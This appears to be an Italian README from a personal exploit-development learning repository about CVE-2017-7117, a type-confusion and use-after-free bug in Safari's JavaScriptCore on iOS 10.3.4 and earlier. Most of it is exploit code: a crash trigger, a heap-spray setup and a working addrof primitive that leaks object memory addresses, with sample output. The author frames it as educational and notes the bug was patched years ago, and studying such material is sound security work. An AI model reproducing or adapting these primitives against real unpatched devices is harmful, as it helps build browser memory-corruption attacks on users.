
Una confusione di tipo e un UAF (use-after-free) trovati in iOS 10.3.4 e precedenti, Safari precedente alla 11.0.
CVE-2017-7117: mitre.org
Scoperto da @lokihardt, fonte: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
L'esecuzione del codice qui sopra causa un crash di JSC.
Costruiamo un grande array arr, in modo che il compilatore JIT si confonda e creda che sia una stringa.
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
Quando il riferimento a i viene perso, manteniamo l'accesso all'array originale arr e possiamo leggere la memoria sottostante.
Spruzzando un valore noto possiamo individuarlo e risalire per localizzare il puntatore a qualsiasi oggetto.
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
I valori vengono letti in memoria tramite un Uint32Array, prima i bit meno significativi, poi i più significativi.
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
Puoi verificare che l'indirizzo sia valido usando describe()
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
Attualmente testato su:
Non funziona (ancora) su iPhone 5, iOS 10.3.4. Scopriamo perché ...
Questo repository è fornito come risorsa educativa per tracciare il mio apprendimento nello sviluppo di exploit. Questa CVE è stata corretta da più di 7 anni. Non usarlo per scopi loschi, ovviamente.